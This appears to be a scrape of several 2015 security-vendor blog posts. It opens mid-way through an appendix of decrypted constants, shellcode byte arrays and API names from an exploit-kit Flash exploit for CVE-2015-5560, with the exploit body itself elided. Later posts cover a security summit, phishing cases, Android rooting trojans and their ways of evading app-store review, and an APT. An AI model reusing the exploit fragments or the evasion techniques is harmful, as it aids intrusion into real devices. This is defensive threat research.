EDI,[EAX+90]","lIlI":"a","llIll":"kernel32.dll","IlII":"virtualprotect","IIIlI":11,"lllll":0,"lIlIl":17905,"IIIII":500,"IlIll":16,"lIIlI":0,"IlllI":1,"IIllI":2,"lIIII":3,"IIIIl":4,"llIIl":5,"lIlII":8,"llIII":9,"llllI":10,"IlIII":11,"lllIl":12,"lIlll":16,"IlIIl":24,"lIllI":2147483647,"IIlll":4294967295,"IIIll":255,"IIlII":256,"llIlI":65535,"IIlIl":16776960,"lIIIl":16777215,"lIIll":4294967040,"IllII":4294901760,"IllIII":4278190080,"IlIlI":65280,"lllII":16711680,"Illlll":19,"IIIIIl":4096,"Illll":4294963200,"IllIl":4095,"IlIIll":14598366,"IIIIlI":48,"llIIlI":32,"IlIIIl":15352,"lIIIII":85,"llIlII":4096,"llllII":311296000,"IlIlII":61440,"IIlIll":24,"lllllI":32,"lllIll":17239,"IllIIl":15,"lIllll":256,"IIIlll":76,"IllIlI":144,"IIIIII":65536,"IIlllI":100000,"llIlll":28,"IIIlII":60,"llIlIl":44,"lIIIll":28,"IllllI":128,"IIllIl":20,"IlIlIl":12,"lIIIlI":16,"IlIllI":4,"llIIII":2,"llllll":110,"IlIlll":64,"IIIIll":-1,"lIlIII":0,"IIIllI":1,"lIIllI":2,"IlIIII":3,"IlllIl":4,"lllIII":5,"lIlllI":7,"lIIIIl":9,"lllIlI":10,"IllIll":11,"IIIlIl":12,"IIlIII":-2146823286,"llIIIl":[148,195],"lllIIl":[88,195],"IlIIlI":[137,65,12,195],"lIIlIl":[255,224],"IIllll":[255,80,76],"lIlIlI":[139,184,144,0,0,0],"IIlIlI":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IIlIIl":[76514,78206,169140,1564283,57653,92732,277930,57206,212281,94821,94789,140864,95448,95192,89830,133640],"lIllIl":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IlllII":[68393,159289,2065114,93035,78635,263996,90969,131279,116207,116175,67007,117999,117551,3965891,96438,107246],"llIIll":[54887,141400,75989,63764,1761036,68463,201153,1001000],"llIllI":[120559,120527,121839,120834,120386,119458,117442],"lIlIll":48,"lIIllll":57,"lIIlII":65,"llllIl":90,"IIIIlll":97,"lIlllII":122,"IIllII":16640,"llIIIlI":23040,"IlIlIII":4259840,"lIIlIIl":5898240,"IIlIIIl":1090519040,"IlIIlII":1509949440,"IllIIlI":32,"lIlIIl":8192,"IIlIIll":2097152,"lIIlllI":536870912,"llIlIIl":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix F. Decrypted Exploit and the Shellcode for the CVE-2015-5560 Vulnerability from the Traffic Dump of the New Angler Version {"IIl":"flash.utils.ByteArray","lIl":"flash.system.Capabilities","lII":"flash.utils.Endian","IlI":"","lI":"flash.display.BitmapData","Il":"51432096JhvTqLk896S","llI":"win ","II":"os","III":"toLowerCase","l":"toString","I":"version","ll":"playerType","lll":"substr","Ill":"split","IIll":"length","lIII":"activex","IllI":"plugin","IIIl":"windows 8","llll":"windows 8.1","lllI":"position","lIlI":"writeInt","IlIl":",","IIlI":"LITTLE_ENDIAN","llII":"endian","Illl":"writeUnsignedInt","lIll":"readUnsignedInt","IIII":"clear","IlII":"loadCompressedDataFromByteArray","llIl":"lock","IlIIl":"id3","IIIlI":"getPixel","lIIl":"setPixel","IIIII":"getPixel32","lIIII":"setPixel32","IlllI":"uncompress","IIlll":"eNrt3N9rV3Ucx … <gz compressed and base64 encoded exploit here> … SjU2nniwfHH/rsoZljfva+jo2777rP/nXvF8\u003d","lllII":40,"IllIl":0,"IlIII":1,"lIIlI":2,"lIlll":3,"lIlII":4,"lllIl":5,"lllll":6,"IIlIl":7,"llIIl":8,"llllI":9,"IIIll":10,"IllII":12,"IIllI":16,"llIlI":20,"lIIll":24,"lIIIl":32,"lIlIl":35,"Illll":36,"IlIlI":40,"IIlII":44,"IIIIl":48,"llIIII":56,"IlIll":60,"IlIlII":64,"IIlIIl":68,"IlIllI":88,"IIlIII":96,"lIIIII":700,"lIllIl":1000,"lIIlll":127,"llIlII":255,"lIIlII":65280,"lIlllI":4278190080,"IlIIII":4294901760,"lIIIll":4294967040,"llIlIl":16777215,"IIIlII":32639,"IllIll":2139062143,"lllllI":4096,"lIlIll":12582912,"IIllII":4,"IIIIlI":4293769918,"IIIIIl":4290706126,"lIIlIl":1073741824,"lllIlI":16384,"IIllll":16384,"IIIIll":2989,"IIlIlI":3133078208,"llIIll":65535,"lllIll":9460301,"Illlll":50068,"lIIIIl":3272131715,"llIIIl":4283498891,"IlIlIl":2128,"lIIllI":4096,"IIIIII":369054032,"IlIIIl":4096,"llllII":1778939391,"IlIIlI":50069,"IllIlI":50071,"lIIIlI":212,"llIIlI":4277009102,"IIIlll":4276992702,"llIllI":32,"IllllI":28,"IllIII":3435973836,"lllIII":1476,"IlllIl":4096,"IlIIll":4293844428,"llllll":283873424,"lIllll":1894496,"IIlllI":2337756701,"lllIIl":74485048,"IIIllI":1604691365,"llIlll":4236859486,"IIllIl":2425406301,"IIlIll":552308880,"IlllII":3401824,"IlIlll":1348534272,"IllIIl":232,"IIIlIl":3900921856,"IllllIl":2337756717,"IIlIIII":1888292984,"lIlIlI":2779096340,"lIlIIl":277569119,"lIlIII":2298759307,"IIlIIlI":1217073226,"IIIlIIl":340429064,"lIllII":1477208203,"IIlIlIl":2198889099,"llllllI":1660880068,"llIIlII":2425393172,"llllIl":840,"lIlIlII":16384,"IIIIlIl":4096,"IllllII":252,"IlllIIl":3072,"lllIIIl":104,"IIlIlII":4276992512,"IIllIIl":3133014222,"IlllIII":117700202,"lIIIlIl":130000305,"lIlIllI":130000309,"IIIllII":180000209,"llllIIl":448,"lIllllI":16384,"lllllIl":1447244336}

Our Fifth Latin American Security Analysts Summit in Santiago de Chile

Thu, 09/03/2015 - 06:35

Another memorable installment of the Latin American Security Analysts Summit has come and gone! This time it was held in the exquisite city of Santiago de Chile, where journalists from all over the region were greeted by Kaspersky Lab’s research team for two full days of knowledge and a little bit of leisure. This fifth edition of the conference was undoubtedly special for everyone thanks to a keynote delivered by our own Eugene Kaspersky, presenting on not only the current global threat landscape but also what the future holds for us when it comes to cybersecurity. The ‘Internet of Threats’ instantly caught the attention of the crowd, revealing the flipside of the coin of technological innovation: more and more devices are connected, but are they secure? Do companies really have an incentive to spend their time and money on security features before competitors beat them to the marketplace?

Despite pisco sour-fueled reception the night before, everyone still managed to look alive the first day and the venue was ready to accommodate more than thirty representatives from all over the region. The fifth edition of our regional summit celebrated in Santiago de Chile joined 34 journalists from 11 countries which participated in the two-day long conference. More than 80 interviews took place. In addition to top tier IT, general interest and business media from key markets in the region, we had the participation of international news wires such as EFE and Reuters. Media from the following countries participated: Argentina, Brasil, Chile, Colombia, Costa Rica, Guatemala, México, Paraguay, Perú, USA, and Venezuela. Attendees were eager to get an overview of the current regional situation, an expectation clearly met by Dmitry Bestuzhev’s presentation on our regional threat landscape. An interesting distinction was made between malware targeting home users and malware targeting companies, showing that not all threats are conceived with the same target in mind. The increase in mobile malware and the high percentage of OSX malware detections raised eyebrows, reinforcing the perception that no one is inherently safe from malware. It’s a numbers game and cybercriminals will shift their focus in a heartbeat if they think they can monetize their creations more swiftly on another platform.

Carlos Alvarez, a special guest from the non-profit organization ICANN, shared with us the importance of the DNS protocol nowadays and more so when we are on the verge of adopting IPv6 at a global scale. Maintenance of the root DNS servers has the clear intent of ensuring the network’s stable and secure operations, all the while allowing us to type convenient and memorable domain addresses instead of a set of dot-separated numbers that mean little to most of us. With that idea still fresh in our minds, brazilian Senior Security Researcher Fabio Assolini shared his investigations regarding modern financial threats that employ DNS hijacking and poisoning attacks. Every device in our home is connected through a modem or router provided by our ISP but what happens when this device is vulnerable to DNS hijacking? Fabio showed how a cybercriminal could change the device’s DNS settings to redirect the traffic to DNS servers under his control. Compromising one simple internet routing device seemed enough to get control of every little IoT gadget connected through it. What then when this is done at ISP-level?

Eugene Kaspersky’s keynote showed the harsh reality of cybersecurity, one where a silver bullet is simply not feasible but gladly we’ve already seen the worst type of threats envisioned for years to come. Organized cybercrime is a reality and it’s why Kaspersky Lab’s collaboration with international law enforcement agencies such as Europol and Interpol is so important nowadays. Cybercrime doesn’t know about frontiers and if we want to keep the bad guys at bay the cyber police needs to work globally and in conjunction with private companies that have the knowledge and expertise to provide them with the necessary information to advance their investigations. It was a thought-provoking speech, that set the right mood in the audience for what was yet to come in this first day of talks.

My colleague and fellow researcher Juan Andrés Guerrero-Saade was warmly welcomed by a great number of journalists after he announced the topic for his presentation ‘Journalists: targets of cyberespionage’. Leaving the academic format at the door, this presentation enticed all attendees to realise why they might pose an interesting target for cyberspies and taught them how to protect themselves from these attacks in a workshop-style manner. Demonstrating a wide range of tools to protect communications and the endpoint, the right equilibrium between security and convenience was discussed at length with custom-tailored content aimed for our regional attendees. It is a new world, and journalists usually deal with critical information that can get them in trouble if they don’t apply adequate procedures in protecting their online activities.

Appealing to popular wisdom, Mexican Security Researcher Roberto Martinez appeared on scene with a live demo of the security risks involved in trusting all your security to this new wave of internet-connected devices. With a bluetooth lock, he showed how a simple phishing attack could literally open the door for you to meet cybercriminals in real life. In addition, a myriad of possibilities is opened when we analyze the protocols which are used in these devices and how our entire life is uploaded to the cloud. Do you share your comings and goings with everyone else? In the near future, you just might…

Finally it was my turn to present on the state of ransomware. I was met with surprised looks from the audience when I began with a ransomware sample from 1989. The problem itself is not new, but has instead been dormant for many years only to be awakened but our latest improvements in the areas of cryptocurrencies and anonymous networks. The rise in the number of detections in ransomware (65% from 2014 to Q1 2015) demonstrates that this malware family is here to stay and we have only seen the beginning. My predictions of more ransomware targeting mobile and IoT devices was met with sad faces as I mentioned that in the near future ransomware just might lock you out of your fridge (and your iced beverage of choice) or disappoint you as you’re about to leave for work in your latest connected smart car. Right now, the threat is extremely visible in desktop environments, as too many campaigns are wreaking havoc at this time. Once again, collaboration between private companies and law enforcement may be the only way to go. As in the case of CoinVault which showed that Kaspersky’s joint effort with NHCTU yielded positive results for thousands of users who were able to recover their files thanks to our freely available decryption tool, which employs the keys seized and provided by the police.

The closing presentation was given by Dmitry Bestuzhev, this time delving into the depths of mobile implants. These devious creations have evolved into true artifacts of cyberespionage, intercepting communications of all types and being used as tracking devices by malicious campaigns. With the ubiquity of mobile phones and our extensive dependency upon them, we could carry our own pocket-sized worst enemy, inadvertently bringing a recording device into the discussion of sensitive topics. Even though many such implants exist for the Android operating system, we were taken on a tour of other ecosystems thus revealing that if a target is worth the investment an implant will be made.

But of course, all work and no play makes Jack a dull boy, so that’s why a tour to the ‘Cerro San Cristobal’ and the long awaited visit to ‘Estancia El Cuadro’ presented a comfortable and laid-back environment to discuss cybersecurity topics while learning about Chilean culture and enjoying a nice rodeo show with the characteristic ‘huasos’ at centerstage. The summit is a truly unforgettable experience that only gets better each year, and as we look forward to the sixth edition of our regional conference, we can only say… gracias Chile and I hope you can join us next time!

TGIF(P) – Thank god it’s fried phish

Thu, 09/03/2015 - 01:41

There is that expression “TGIF” and I recently noticed that some of my Japanese colleagues/friends would not know what it actually stands for.

Spoiler: It commonly means “Thank god it’s Friday” and probably many working people will be able to appreciate such a feeling.

On the other hand, while many offices may close down for the weekend, it’s the time for bad guys to boost their activity because they count on the fact that they may go unnoticed for some time, at least until the upcoming Monday morning.

The IT community is working hard to find and take down malicious sites as soon as possible, but then … the weekend is the weekend for many.

What happened just last Friday may be a good example of such malicious weekend activity. We received the following email to one of our inboxes:

The email body utilizes some social engineering in order to scare the email receiver about possible loss of emails. It also somehow mentions “high massage” but that may just be a spelling error on the bad guy’s side.

When we click the contained link (which is, of course, one of those “don’t do this at home” things), we see the following:

After clicking “OK”, we get a popup which looks very much like the popup of a Microsoft email client. Note that it is quite well crafted, containing the domain name of the email receiver several times.

When we input some data into that form, we get this:

Again, it looks well crafted, containing the domain name several times, and even including a copyright notice.

To top it all, that page contains functionality to search the web for the mentioned domain name and finally directs the user’s browser to the search result:

The above content may not seem too convincing to an average home user. This phish seems more likely to target corporate users, as the style of the information shown above mimics the corporate environment very well.

However, attentive users may spot the following details which give away the fake:

  1. Email sender à mismatching the domain name;
  2. “Hello User” à is probably not commonly used to address staff;
  3. All clickable links in the email body point to the same location;
  4. Spelling mistakes like “massage”;

We have added the malicious site to our anti-phishing blacklist.


Taking A Break From Research To Accelerate Startups: SSC 2015

Mon, 08/31/2015 - 08:02

How would you describe the best job in the world of security research? Would it be to work at the forefront of security research, diving into the bits and bytes of advanced malware and global threats, or to have a versatile job that can take you anywhere in the world.
Well – at Kaspersky Lab, and specifically in GReAT, you have both!

I’m a man of security and martial arts. I’ve had my share of both, and still have a lot to learn. While both are exciting and fulfilling, there is nothing greater than giving without expecting to get anything in return. Volunteering, in general, is something I personally put as one of the top priorities, but I have never had the chance to volunteer in a way that makes the world tick. One amazing opportunity to take a break from the day to day activities of hunting malware trends is exactly that.

I met Oleg Ishanov, former VP of our company, at the very beginning of what was called the Security Startup Challenge 2015. It was sunny in Jerusalem, the weather was fantastic and the Hebrew University became a host for security startups from all around Israel. We’ve seen amazing ideas and together we decided that I should join the team of mentors and set sail on a journey I never thought possible.

Participation badge at the SSC finals, MIT, Boston MA

On January 10th of this year, a mailbox started filling up with incoming requests to join one of the most exciting programs existing to-date in the world of security. The security giant Kaspersky Lab launched its lavish acceleration program and a team of mentors, including myself, took their seats on the front row, waiting for the most brilliant and innovative minds to take the stage and convince us that they deserve a spot in the Bootcamp. As the program continued, we found ourselves searching for startups who hadn’t even applied. Some of them came as an audience and stayed as competitors: and some of them even came only with a wild idea in their minds and made it all the way to the finals with their prototype all running! It was incredible.

From this moment on, a journey took place around the world. Kaspersky experts, mentors and other parties met the startups in their homelands and tried to understand whether they were acceleration program material or not.

As I mentioned earlier, first up was Israel. We met at the Hebrew University in Jerusalem. The weather was great and the hall was full of anxiety, excitement and the warm feeling of standing under the wings of the eagle in the sky of security – Kaspersky Lab. Jerusalem was just the beginning. After it the team visited Berlin, San Francisco, Moscow and, last but not least, Singapore.

From Jerusalem to Singapore – SSC first round

For almost 3 months, hundreds of startups took their shot at impressing the team and qualify for the program, but only 40 made it.  And in May the list was closed and the 40 received an announcement that they were part of the bootcamp. As far as what some of them told me, it was an unforgettable moment. Although it took place after they had already met with some of the mentors, it was as if the journey had just started. Luxembourg was the next checkpoint; and while waiting for this bootcamp to begin, every 4-6 startups were assigned to one of the mentors, as a tracker. The tracker’s role was to track the decision makers and make sure they were making smart choices, and even to join the brainstorming to evaluate all other options beforehand.

Joining decision makers of a small startup and understanding their way of thinking is not an easy task. It is rather challenging to inspect the situation and analyze the decisions in real-time, assuring them that you have alternatives to offer.

As a tracker, I felt that the startups assigned to me had unique characteristics. Not one of them had an equivalent market. Medical security, social privacy, security through gamification and cyber assurance are all very divergent markets. They were still in the early stages, which meant that every day for them mattered, every decision was inspected to its root cause and future results, and every line of code was thought over in advance, to make sure we were prioritizing properly.

Startups were mostly caught up between marketing, branding, improving their technology and getting the interest of VCs and new leads, but I also found some who really struggled to understand if they are actually what they claim to be or should they pivot. Pivoting in general is not a bad thing, however it should be done with care and after the founders considered all other options before making any radical decisions.

Other startups had problems leaving their jobs and start full time; this is, without a doubt, one of the first things VCs are looking for – commitment. Another case that surprise me must was startups who rely on early acquisition and some of them are even confident in their decision to make their solution completely free.
The world of the startups is fascinating and full of surprises. One day is never similar to the next. You keep shifting and adjusting, tossing sketches and starting from scratch. As a tracker, you’re witnessing all that.

To The Bootcamp, And Beyond.

Every startup had to follow the program’s demands and present its progress every week in a Skype/Face2Face meeting with the mentors, called a board meeting (BM).
These meetings were a tool for the mentors to test the founders in real-time, ask questions and listen to a 20-minute speech which was followed by a strict presentation of nothing but facts. This analysis was enough for the mentors to grade each startup from a level of 1-10, and add relevant feedback for later assignments. Those who received the highest scores qualified to the next week of the bootcamp, and finally to the finals.

Bootcamp summary from PwC offices in Luxembourg

The bootcamp turned 40 startups into 11 finalists and after several weeks the announcement was made public. The startups who made it to the finals in Boston had to make sure they had everything prepared as they were about to attend a week of intense competition that included, among the rest our judges, doctors and professors of the institute where the finals took place – the Massachusetts Institute of Technology, also known as MIT.

The finalists were: Re-Sec, Excalibur, Pipe, ZeroDB, DriveWare, Security In Motion, SiteSecure, CTF365, Whispeer, Crypho and Keygo.

The finals took four days in total and the startups were crunched in a little room in E50 building’s 4th floor. The old brick building may seem quiet on the outside, but one specific room was full of innovative, forward-looking and mostly brilliant minds, which I personally admire.

4th floor, E50 building, MIT – Finalists listen to Sharon’s (SecInMotion) pitch

Three days went by fast as the startups were working non-stop. They practiced their pitch with Angelika Blendstrup and Gigi Wang, were tutored by Professor Stuart Madnik on how startups should approach CISO/CSO and finally had a session with me and my tennis balls, including a nice story on how I started juggling.

A Session With Me And My Tennis Balls

The third day was an absolute thrill. I had the opportunity of having a comic session with all the participants. The word ‘tennis’ is (and was in the session) in light grey, since the idea was to break the ice before the big finale. We sat in a semicircle and three tennis balls were virtual links I used in order to allocate questions to the founders who answered them. A program was running in the background of my laptop, displaying the acceleration program-related questions on a projector screen, and a one minute timer counting the allocated time to answer each one. Each time 10 seconds were left on the timer, I tossed the ball to a person in the circle to get ready for the next question. After breaking the ice, we all sat together and talked about every subject that rose to the surface.

My next talk was on the day after; a speech that was combined with moderating the final keynote pitches of each startup, right before the big announcement about the winners. At 10AM of the final day, Christel had opened the day with moderating the 5-minute pitch which included questions from the audience. First row were our judges from MIT – Prof. John R. Williams, Associate Prof. Nickolai Zeldovich, Mr. Michael Coden, Prof. Stuart Madnick and Dr. Abel Sanchez.

Since it’s the last day we had to first pick the winners – without question a tough decision to make!
It was a complete honor to sit side by side with them and share thoughts on the final winners. It was also tough to convince them which one deserved the better chance.
We picked the top five and started moving from there towards the top 3.
It came to a point where each one of the judges and mentors had his favorite startup and was not about to give up on it. Judges from MIT decided to make a surprising move and announced two startups as “Honorable Mention”, which is a much respected rank from MIT and will gain the startups who won it (Whispeer and CTF365) the media coverage they need and the opportunity to accomplish a big step forward in penetrating their market.

As the sun set on the final day, the view from the 6th floor of the media lab building was stunning. The Charles River that splits Cambridge from Boston is a view from the building’s wooden balcony that you can’t ignore.

Next up was Natalya Obelets, Deputy Head Of Education Initiatives and Christopher Doggett, Managing Director of Kaspersky Lab North America. Keynotes were done and it was my time to take my place.

The view from the balcony in MIT Media Lab

Warm up story and we’re off

In almost every speech I give I try to bring a personal story to wrap the main idea of what I’m about to deliver to the audience. This time I thought about creating a presentation, but an incident with my older daughter in the hotel pool changed my mind and I decided to go freestyle.

At first I had to speak about what had happened. My daughter, who waited for me in the hotel room with her sister and mother every day, was excited to see me coming back to lunch break on the last day. She reminded me that I had promised to take her to the pool. I changed in to my swimsuit quickly, as all the startup founders and mentors were still busy with the finals, and rushed to the pool. She was so excited that she almost drowned in one of her jumps in to the water, while I was floating around deep in thought about my speech. That was the moment when I knew I needed to speak about mistakes.

Security Startup Challenge day of announcements

The people in the front row of the room had hundreds of years of experience, while professors from MIT were gazing at the big screen TV that had nothing but the SSC logo on it. I started talking about mistakes. Why are they so important? Isn’t it obvious? Well, for some of us, expectations are so big that we forget to remember the experience we gain in the privilege of making mistakes. Everyone makes them; it’s inevitable and is the most basic factor that differentiates us from a machine. I was mostly sharing experience from the program, rather than speaking about generic mistakes. One startup, for example, wanted to penetrate its market in Singapore. They struggled their way through middle-men who were after their money rather than their success. “Surprise, surprise”, I told them – we have here startups from Singapore, why not just sit together and bridge this gap without the middle-men?
They acted like a train with no stops – one source, one destination. But the answer lay under their noses. Others made mistakes in how they presented their startup to the board, and some made mistakes around prioritizing tasks.

Speaking at the finals – freestyle about mistakes and how to embrace them

In a three- minute freestyle pitch, each startup had to present, for the last time, its agenda, before major people that had come to the event specifically to meet their next investment. MIT also hosted TV crews and interviewed each founder for local and external publications.

We’ve seen a lot during the program and learned as we went. The most important idea was to keep it simple. Open your mind and make sure you have all the options laid on the table. Research, consult, decide, act, analyze results and prioritize interactions – and never forget to smile while doing each of the above! We are here for the journey as well, not only for the goal.

With that in mind, I passed the mic to my colleagues and we continued with some word of advice to consider as a startup and when joining such a program. We got amazing feedback from startups, ground teams and judges from MIT. I would like to acknowledge my team of mentors for having me on board this journey and giving me the opportunity of influencing the world of security in such way that is most crucial today – innovation.

Team Of Mentors & Education: Oleg Ishanov, Eugene Barulin, Nickolai Mityushin, Ilya Antipov, Ilya Kuznetsov, Alena Gilevskaya, Veniamin Ginodman, Natalya Obelets and Christel Gampig-Avila.

Security Startup Challenge 2015 Winners: Excalibur, Pipe, ZeroDB & DriveWare

I hope to see each one of the startups become a successful business, a market game changer and a role model to learn from. It was a pure privilege working with them.
I also wish all the best to the winners. And we hope to see new innovations and brilliant minds in the next program.

Taking root

Thu, 08/27/2015 - 05:54

Since June 2015, we have seen a steady growth in the number of mobile malware attacks that use superuser privileges (root access) on the device to achieve their goals.

Root access is incompatible with the operating system’s security model because it violates the principle that applications should be isolated from each other and from the system. It gives an application using root access a virtually unlimited control of the device, which is completely unacceptable in the case of a malicious application.

Malicious use of superuser privileges is not new in itself: in regions where smartphones are sold with privilege escalation tools preinstalled on them, malware writers have long been using this technique. There are also known cases of Trojans gaining such privileges after the user ‘rooted’ the device, i.e. used vulnerabilities to install applications that give superuser privileges on the phone.

However, the malware described in this post gains root privileges on its own, with the device owner having no idea that there is an application with superuser rights on the phone.

How it works

We analyzed the statistics we had collected from May to August 2015 and identified three main Trojan families that use root privileges without the user’s knowledge: Trojan.AndroidOS.Ztorg, Trojan-Dropper.AndroidOS.Gorpo (which operates in conjunction with Trojan.AndroidOS.Fadeb) and Trojan-Downloader.AndroidOS.Leech. All these mobile malware families can install programs; their functionality is in effect limited to providing the capability to download and install any applications on the phone without the user’s knowledge.

A distinctive feature of these mobile Trojans is that they are packages built into legitimate applications but not in any way connected with these applications’ original purpose. Cybercriminals simply take popular legit apps and add malicious code without affecting the main functionality.

After launching, the Trojan attempts to exploit Android OS vulnerabilities known to it one after another in order to gain superuser privileges. In case of success, a standalone version of the malware is installed in the system application folder (/system/app). It regularly connects to the cybercriminals’ server, waiting for commands to download and install other applications. Since subsequent behavior of the malware varies by family, we discuss each of the families separately below.

Fadeb and Gorpo families

It should first be explained why we say that these two families work in conjunction with each other. An analysis of their code has shown that both malicious programs are based on the same framework, with identical methods for hiding strings used in their code. Functionally, Trojan.AndroidOS.Fadeb is responsible for downloading and installing files, while Trojan-Dropper.AndroidOS.Gorpo obtains escalated privileges on the device and then installs Fadeb in /system/app under the name LauncherXXXX.apk. Older versions of Trojan.AndroidOS.Fadeb worked on a ‘standalone’ basis and depended on the su file, installed either by the manufacturer or by the user, being present on the device.

Trojans from these two families are found on inexpensive smartphones – as packages built into popular applications, such as Twitter, Facebook, various launchers, etc. An analysis of infected devices’ firmware has shown that applications that include malicious code are not supplied by the phone manufacturer. The users themselves did not install these applications in standard ways, either. We believe that these applications may have been installed by third parties before the devices reached the users. These could be small private shops that try to install as many applications on devices as possible to make customers happy but use unsafe software sources without performing any security scans of the files they download.

We came up with this theory after studying various websites and user forums where users described cases of devices being infected without their knowledge and Trojans being found on newly-purchased devices.




The list of infection sources does not end there: sometimes users themselves downloaded these Trojans from unofficial app stores. According to our statistics, the most popular infected applications were:

  • com.leo.appmaster
  • cn.cleanmaster.mguard
  • com.apusapps.launcher
  • cc.taosha.beautify.easylocker
  • cc.taosha.toolbox.shareit
Leech family

This malware family is the most advanced of those described in this post: some of its versions can bypass dynamic checks performed by Google before applications can appear in the official Google Play Store. Malware from this family can obtain (based on device IP address, using a resource called a range of data, including country of registration, address, and domain names matching the IP address. Next, the Trojan checks whether the IP address is in the IP ranges used by Google:

  • –
  • –
  • –
  • –
  • –

If the IP address is in one of the above ranges, the malware terminates.

The domain names matching the device’s IP address were also checked for the presence of the following strings: “android”, “google” and “1e100″ (a service used by Google internally; its name is the mathematical formula for the number googol). In this way, the Trojan checks whether the infected device is on Google’s corporate network. This is necessary in order to pass the dynamic tests required before an application can be made available in Google Play app store. When Leech detects that it is on the Google network, this means that it is undergoing a check of this kind, so it terminates.

The malware also uses a dynamic code loading technique, which involves downloading all critically important modules and loading them into its context at run time. This makes static analysis of the application difficult. As a result of using all the techniques described above, the Trojan made it to the official Google Play app store as part of an application named “How Old Camera” – a service that attempts to guess people’s ages from their photos.

As we can see, the app appeared on May 22, 2015, at the peak of popularity enjoyed by a similar Microsoft service. At the time it was removed from Google Play (June 10, 2015), its number of registered installations was in the range from 100,000 to 500,000, which is a lot, particularly in view of the danger posed by the app. A package with the Trojan was also embedded in other popular legitimate applications, such as apps for downloading videos from YouTube or for installing live wallpapers.

After successfully gaining superuser privileges, Leech installs another application to /system/app folder, in addition to its own standalone version. It is an app named “com.sync.sms”, which is detected by Kaspersky Lab products as Trojan.AndroidOS.Guerilla.a. This Trojan carries out aggressive advertising campaigns for other applications. The campaigns include displaying advertising in the status bar, in third-party applications, as well as downloading and installing applications (including the ability to download apps from Google Play) and displaying any interactive elements on the device’s screen.

Interactive elements displayed by Trojan.AndroidOS.Guerilla.a

The Guerilla Trojan can also inject its code into system applications in device memory in order to ensure that it will keep getting launched.

Below is a list of applications advertised by the Guerilla Trojan:

  • com.duotui.home
  • com.polaris.newnews
  • com.uf.lockscreen
  • gamedangian.tienlenmiennam.gamebai
  • com.truecaller
  • com.chaatz
  • com.eterno
  • com.machinezone.gow
  • com.moonton.magicrush
  • com.zqkt.hezuobao1
  • com.batterysaverplus
  • com.heisha.candy150706
  • com.mzve.mstc.yxjz
  • com.schibsted.bomnegocio.androidApp
  • com.uf.flashlight
  • com.dianxinos.dxbs
  • com.dianxinos.optimizer.duplay
  • com.ijinshan.kbatterydoctor_en
  • com.quikr
  • com.weixin.gzsj
  • com.cleanmaster.mguard
  • com.looku.bee2
  • com.specialapps.SecretBox
  • com.applockv43o003.amb
  • com.apusapps.launcher
  • com.coconuttec.teenpatti.klub
  • com.igg.castleclash_fr
  • com.leo.appmaster
  • com.uc.browser.en
  • com.fission.sevennujoom
  • com.then.dayx.hgwe
  • com.wifimap.mapwifi

Leech provides access to infected devices not only to Guerilla but to much more dangerous malware, as well. This is why we have decided to write a separate article about this malicious program, in which we are going to describe both this remarkable Trojan and its derivatives.

Ztorg family

On the whole, Trojans belonging to this family have the same functionality as the families described above. The distribution techniques used also match those employed to spread Trojans from the Gorpo (plus Fadeb) and Leech families – malicious code packages are embedded in legitimate applications. The only significant difference is that the latest versions of this malware use a protection technique that enables them to completely hide code from static analysis. The attackers use a protector that replaces the application’s executable file with a dummy, decrypting the original executable file and loading it into the process’s address space when the application is launched. Additionally, string obfuscation is used to make the task of analyzing these files, which is quite complicated as it is, even more difficult.

Ztorg versions that do not use this kind of protection are detected by Kaspersky Lab products as Trojan.AndroidOS.Ztorg.a and versions with protection are detected as Trojan.AndroidOS.Ztorg.b.


Data on the activity of the families described above is provided below. Diagrams on the left-hand side are graphs showing the number of newly attacked users over time and the right-hand images are geographical distribution maps.


The largest number of infection attempts for the Leech Trojan was recorded in the first half of July, with about 33 thousand users attacked over the two-week period. Attacks peaked on July 9 – over 2,800 potential victims.



Trojan.AndroidOS.Ztorg.a was quite active in July – an average of more than 1200 users attacked per day. Around the middle of July, its popularity sharply declined, as the malware was replaced with its new modification –Trojan.AndroidOS.Ztorg.b. The Trojan’s protected version was more active and attacked about 1300 users daily in July.


The activity of Trojan-Dropper.AndroidOS.Gorpo.a rose gradually, starting in early May 2015. However, we recorded two surges – on June 30 and July 16. On these days, the number of users attacked exceeded 1500 and 1800, respectively.


Trojan.AndroidOS.Fadeb.a could be regarded as the least successful of the malicious programs described above. Its activity also increased starting in early May, but even in the first half of July, which was its most active period, the number of users attacked did not exceed 1,000 per day.

The majority of users attacked by the Trojans were located in Russia and India, as well as countries of the Middle East. However, tens and even hundreds of infections were recorded in other regions, too.


It is not very common for malicious applications to be able to gain superuser privileges on their own. Such techniques have mainly been used in sophisticated malware designed for targeted attacks. The cases described in this post show that these techniques are becoming more mainstream: run-of-the mill malware increasingly uses similar (if not more advanced) techniques. This creates a dangerous trend. Although the Trojans described above are mostly used for advertising purposes, nothing would prevent them from using their newly-gained superuser privileges to install applications that can do users much more harm than just irritation caused by annoying advertising.

A Phishing Trampoline – embedding redirects in PDF documents

Fri, 08/21/2015 - 03:16

Today I ran into a typical fraud email claiming to come from a U.S. bank but with a twist! Analyzing the attachment, it turns out that there’s no malware inside but instead a new middle step to fool lesser security software.

The original file name is “Swift confirmation .pdf” and it was created using Microsoft Word 2010.

/Author(Unknown)/CreationDate(D:20150814180000-04’00’)/Creator(Microsoft« Word 2010

So, if it is not malware then what’s the catch?

Well, this is a ‘Mediabox’-clickable document file used to redirect victims to a phishing website.

If the victim clicks on ‘View pdf File’ then it first opens a redirector website and then finally makes the jump to a server located in Chile that actually hosts the phishing attempt.

This is an interesting technique that would fool some Anti-Phishing filters based on analysis of the URLs in the  embedded  email messages themselves.

New activity of the Blue Termite APT

Thu, 08/20/2015 - 06:55


In October 2014, Kaspersky Lab started to research “Blue Termite”, an Advanced Persistent Threat (APT) targeting Japan. The oldest sample we’ve seen up to now is from November 2013.

